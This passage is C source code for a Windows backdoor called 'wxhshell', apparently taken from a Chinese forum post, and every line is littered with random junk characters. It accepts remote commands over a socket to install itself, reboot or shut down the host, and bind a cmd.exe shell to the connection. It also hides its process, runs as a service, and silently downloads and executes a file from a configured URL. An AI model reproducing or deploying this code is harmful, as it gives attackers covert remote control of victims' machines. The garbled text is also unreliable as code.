  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {e2ZW]  
  } lbovwj  
  else { ]-#/wC[$l=  
;5\'PrE  
    switch(cmd[0]) { mGDc,C=5:  
  Nes|4Z<  
  // 帮助 4pXY7+e2'  
  case '?': { /O.q4p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R{A$|Ipaq  
    break; JleClB(2n/  
  } _IU5HT}2  
  // 安装 =eW4?9Uq  
  case 'i': { *zweZG8:  
    if(Install()) K-Pcew^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .c<U5/  
    else R1Rk00Ow:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _/P;`@  
    break; F)eP55C6  
    } =m (u=|N3  
  // 卸载 0k\,z(e  
  case 'r': { CHqi5Z/+  
    if(Uninstall()) M+ <SSi"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^5~x*=_  
    else FYC]^D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E3S0u7 Es  
    break; snkMxc6c[  
    } s@%>  
  // 显示 wxhshell 所在路径 SbL7e#!!  
  case 'p': { -9+$z|K  
    char svExeFile[MAX_PATH]; mz<,nR\  
    strcpy(svExeFile,"\n\r"); XHgW9;M!  
      strcat(svExeFile,ExeFile); a|t{1]^w`  
        send(wsh,svExeFile,strlen(svExeFile),0); K`X'Hg#_P2  
    break; zD8$DG8  
    } n'pJl  
  // 重启 ON!Fk:-  
  case 'b': { @ kv~2m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); INk|NEX  
    if(Boot(REBOOT)) o%lxEd r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h'G  
    else { j<Pw0?~s6  
    closesocket(wsh); [N[4\W!!  
    ExitThread(0); 0lq?l:/  
    } Bo ywgL|  
    break; 6f#Mi+"  
    } oIj/V|ByK  
  // 关机 >^#Liwm  
  case 'd': { YT[=o}jS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ft{i6}  
    if(Boot(SHUTDOWN)) oTb42a_j{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{X+Y6'ku  
    else { G^L9[c= ,  
    closesocket(wsh); S%?>Mh?g  
    ExitThread(0);  C. uv0  
    } _M;{}!Gc&A  
    break; ca0vN^Ji  
    } A -8]4p::  
  // 获取shell r_bG+iw7p  
  case 's': { VpbJe@*D  
    CmdShell(wsh); bqF?!t<B  
    closesocket(wsh); 4C:dkaDq]  
    ExitThread(0); {4[dHfIy  
    break; 5?(dI9A"K  
  } <H<Aba9\  
  // 退出 WyQ8}]1b  
  case 'x': { ,_7m<(/f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zh?B-"O=5  
    CloseIt(wsh); dYwEVu6q  
    break; l)DcwkIG  
    } #sv}%oV,F  
  // 离开 ~% ]V,-4  
  case 'q': { u0[O /G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j[$+DCO#|m  
    closesocket(wsh); b=WkRj  
    WSACleanup(); ojj T  
    exit(1); dKchQsgCg  
    break; q~AvxO  
        } /d }5R@Oy  
  } 0&&P+adk  
  } drwxrZt   
-biw{  
  // 提示信息 X^m @*,[s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V0#E7u`4  
} L5&,sJz  
  } FO]f 4@  
.OW5R*  
  return; %.uN|o&n  
} 1T,Bd!g  
%>O}bdSf  
// shell模块句柄 Xpkj44cd@  
int CmdShell(SOCKET sock) >A6PH*x  
{ %2G3+T8*x  
STARTUPINFO si; %hBw)3;l  
ZeroMemory(&si,sizeof(si)); %$_?%X0=t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vKkvB;F41  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r|3u]rt  
PROCESS_INFORMATION ProcessInfo; F*:H&,  
char cmdline[]="cmd"; |NjyO>@Pa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `I|Y7GoUO  
  return 0; cIuCuh0I`  
} pFo,@M  
dftX$TS  
// 自身启动模式 `\BBdQ#bH  
int StartFromService(void) {+9t!'   
{ "JYWsE  
typedef struct :}v:=ck  
{ c Ct5m  
  DWORD ExitStatus; "(+aWvb  
  DWORD PebBaseAddress; un,W{*s8*  
  DWORD AffinityMask; 8h|~>v  
  DWORD BasePriority; ]HG> Og  
  ULONG UniqueProcessId; Z3Xgi~c  
  ULONG InheritedFromUniqueProcessId; N71^I"@HH  
}   PROCESS_BASIC_INFORMATION; ZU9RvtbKB  
8Tc:TaL  
PROCNTQSIP NtQueryInformationProcess; f+c{<fX  
lcoJ1+`C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W;,RU8\f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w;Pe_m7\EO  
`-rtU  
  HANDLE             hProcess; k@9q5lu;T  
  PROCESS_BASIC_INFORMATION pbi; <2+FE/3L  
` -<S13  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z`8>$9  
  if(NULL == hInst ) return 0; I?<ibLpX  
kf)s3I/`(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <|a9r: [  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -]Oi/i,{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wS:`c J  
F2=#\U$  
  if (!NtQueryInformationProcess) return 0; yv5c0G.D  
{JcMJZ3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2|+4xqNJm  
  if(!hProcess) return 0; kr]_?B(r  
+$G P(Uu,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bq85g5Dc  
a'\fS7aE0l  
  CloseHandle(hProcess); "&kXAwe  
?vP }#N!=d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LoS%  FI  
if(hProcess==NULL) return 0; {Hxziyv~Y(  
MCfDR#a  
HMODULE hMod; M5LqZyY  
char procName[255]; 55x.Q  
unsigned long cbNeeded; 54&&=NVs|  
*wz62p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #!M;4~Sfx  
HG})V PBa  
  CloseHandle(hProcess); 9'\*Ip^  
X]%n#\t,]  
if(strstr(procName,"services")) return 1; // 以服务启动 g*:f#u5  
[UaM}-eR  
  return 0; // 注册表启动 Pexg"328  
} )G9,5[  
Ob7F39):N  
// 主模块 7ZpU -':  
int StartWxhshell(LPSTR lpCmdLine) / =:X,^"P  
{ c< g{ &YJ  
  SOCKET wsl; j}DG +M  
BOOL val=TRUE; p4wXsOQ}  
  int port=0; +Tp>3Jh2  
  struct sockaddr_in door; ob>2SU[Y  
Tk0Senq,  
  if(wscfg.ws_autoins) Install(); 25`6V>\  
(K->5rSU  
port=atoi(lpCmdLine); ^<'=]?xr  
C&KH.h/N  
if(port<=0) port=wscfg.ws_port; HA(G q  
mmgIV&P  
  WSADATA data; Gcu?xG{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 62%=%XD  
#s^~'2^%4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pD%Pg5p`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v`pIovn  
  door.sin_family = AF_INET; H!dg(d^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HrQft1~N  
  door.sin_port = htons(port); L(eLxw e%  
4o*wLCo7^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !BW6l)=L  
closesocket(wsl); cYp]zn+6  
return 1; V@Fj!/  
} 2AI~Jm#  
M2e_)f:  
  if(listen(wsl,2) == INVALID_SOCKET) { ;?0k>  
closesocket(wsl); %,G0)t   
return 1; }zu?SZH  
} D>Dch0{H,:  
  Wxhshell(wsl); ey>V^Fj  
  WSACleanup(); r5N.Qt8  
zHvG3Ed@  
return 0; hbv>Jjd  
s@vHU4  
} 3]1uDgfr  
W-+~r  
// 以NT服务方式启动  \>*B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ril4*$e7^\  
{ zDO`w0N  
DWORD   status = 0; WrNm:N  
  DWORD   specificError = 0xfffffff; +\n8##oAI  
d'Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7R`:^}'>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fPW(hb;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &c)n\x*  
  serviceStatus.dwWin32ExitCode     = 0; =tE7XC3X_  
  serviceStatus.dwServiceSpecificExitCode = 0; \d#|n u  
  serviceStatus.dwCheckPoint       = 0; jN43vHm\Y9  
  serviceStatus.dwWaitHint       = 0; 7Z+4F=2ff  
m.A_u7D@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +WYXj  
  if (hServiceStatusHandle==0) return; xr*hmp1  
VUaYK  
status = GetLastError(); }&OgIo+  
  if (status!=NO_ERROR) 0]3#3TH  
{ Una7O]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t)Mi,ljY[  
    serviceStatus.dwCheckPoint       = 0; 4<`'?  
    serviceStatus.dwWaitHint       = 0; fQ[ GN}k  
    serviceStatus.dwWin32ExitCode     = status; 0HRLTgIC  
    serviceStatus.dwServiceSpecificExitCode = specificError; `w J^   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~y%  
    return; o%E^41M7E  
  } n2$(MDdL`  
Ht Z3n"2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G 'sEbw'[  
  serviceStatus.dwCheckPoint       = 0; z\fmwI  
  serviceStatus.dwWaitHint       = 0; 3"Y |RSy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N>S_Vgk}  
} nDvj*lZF  
<g|\]\C|  
// 处理NT服务事件,比如:启动、停止 2}P?N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L`Lro:E?kL  
{ OTNcNY  
switch(fdwControl) 1 \_S1ZS  
{ 5P'<X p  
case SERVICE_CONTROL_STOP: ~a^"VQ5]ac  
  serviceStatus.dwWin32ExitCode = 0; U!rhj&n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,s*-2Sz  
  serviceStatus.dwCheckPoint   = 0; WZ a?Xb  
  serviceStatus.dwWaitHint     = 0; &cEQ6('H  
  { wua`e <"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dd +%d  
  }  1 U|IN=  
  return; k%5 o5Hx  
case SERVICE_CONTROL_PAUSE: XUrxnJ4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qMrBTq[  
  break; '7UW\KEB[}  
case SERVICE_CONTROL_CONTINUE: yrnIQu*Uu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %,G&By&,  
  break; $s*\yam?|  
case SERVICE_CONTROL_INTERROGATE: qd=&*?  
  break; y()7m/  
}; D)ZGTq`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i1"4z tZ  
} Vu3;U  
M~Tx 4_t  
// 标准应用程序主函数 t<Iy `r7 1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u!FX 0Ip  
{ 2aef[TY  
Ov$_Phm:  
// 获取操作系统版本 bF5mCR:  
OsIsNt=GetOsVer(); a&3pPfC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dVh*  a  
h7iI=[_V  
  // 从命令行安装 %. =B=*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gm 0&y  
M PhG:^g  
  // 下载执行文件 ,U\F <$O  
if(wscfg.ws_downexe) { %z}{jqD&:X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /~?'zr  
  WinExec(wscfg.ws_filenam,SW_HIDE); C 'YL9r-G  
} 0:Ow$  
`@$qy&AJ  
if(!OsIsNt) { +=v6 *%y"V  
// 如果时win9x,隐藏进程并且设置为注册表启动 )*=ds ,  
HideProc(); " Zo<$p3]  
StartWxhshell(lpCmdLine); k?%?EsR  
} 2m]C mdV^  
else afVl)2h  
  if(StartFromService()) MCBZq\c  
  // 以服务方式启动 Dp)5u@I  
  StartServiceCtrlDispatcher(DispatchTable); o(=\FNe  
else %s}c#n)N  
  // 普通方式启动 %|&WcpQR  
  StartWxhshell(lpCmdLine); n*UD0U}`  
-RisZ-n*  
return 0; r2WW}W  
}
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只看该作者 1 发表于: 2006-10-10
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